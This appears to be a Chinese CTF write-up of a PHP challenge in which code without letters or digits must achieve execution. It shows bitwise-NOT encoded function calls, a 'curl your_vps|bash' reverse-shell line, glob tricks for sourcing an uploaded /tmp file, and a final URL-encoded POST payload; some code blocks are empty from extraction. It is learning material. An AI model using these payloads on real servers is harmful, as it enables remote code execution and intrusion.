安恒月赛的题目,被p神拿出来分析了一下,趁机学习一下新知识
源码
1 |
|
利用这个可以执行任意代码吗?理论是可以的
php7
给出一个php的间接使用变量属性方法的表
php7允许使用
($a)();
执行函数,举个例子
1 | %8F%97%8F%96%91%99%90 <=> urlencode(~'phpinfo') |
那么我们把左边取反输入到code
phpinfo
得到执行 执行任意代码,比如 system('id')
如果想要反弹shell可以
1 | curl your_vpsbash |
反正我的并没有超字符限制...
php5
php5就不一样了,如果同样用php7执行phpinfo的方法会有语法错误,因为php5并不能($a)();
执行函数
那么怎么利用呢,我们可以用到linux下的几个知识点
shell下可以利用.来执行任意脚本 Linux文件名支持用glob通配符代替,比如 *可以代替0个及以上任意字符 ?可以代表1个任意字符
而且用.来执行命令是不需要x的权限的,那么只要服务器有我们的文件,我们就可以用.去执行 而为了避免字母我们可以用?代替,比如
1 | root@1811de971fc8:/tmp# ls |
但是如果列出所有的/???/?????????
1 | root@1811de971fc8:/tmp# ls /???/????????? |
其实还有其他的文件,那我们怎么获得需要的/tmp下面的临时文件呢?
linux的文档里面有写http://man7.org/linux/man-pages/man7/glob.7.html
我们可以用[^.]
排除点,同理可以排除-
1 | root@1811de971fc8:/tmp# ls /???/???[^-][^.][^.]??? |
这个时候还有两个干扰文件,想到临时文件中可能有大写字母,而大写字母都在@
和[
中间,那么可以用[@-[]
表示大写字母
1 | root@1811de971fc8:/tmp# . /???/???[^-][^.][^.]?[@-[]? |
最后带上一个php执行shell的小trick
1 |
|
可以发现其实是有回显的命令执行 一叶飘零博客也写到过
1 | $flag='123'; |
相当于
1 |
|
那么最后payload为?><?=`. /???/????????[@-[]`;?>
记得urlencode
一下
1 | POST /index.php?code=%3F%3E%3C%3F%3D%60.+%2F%3F%3F%3F%2F%3F%3F%3F%3F%3F%3F%3F%5B%40-%5B%5D%3F%60%3B%3F%3E |
参考文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
http://skysec.top/2018/07/26/MeePwn-Web-%E5%A4%8D%E7%8E%B0/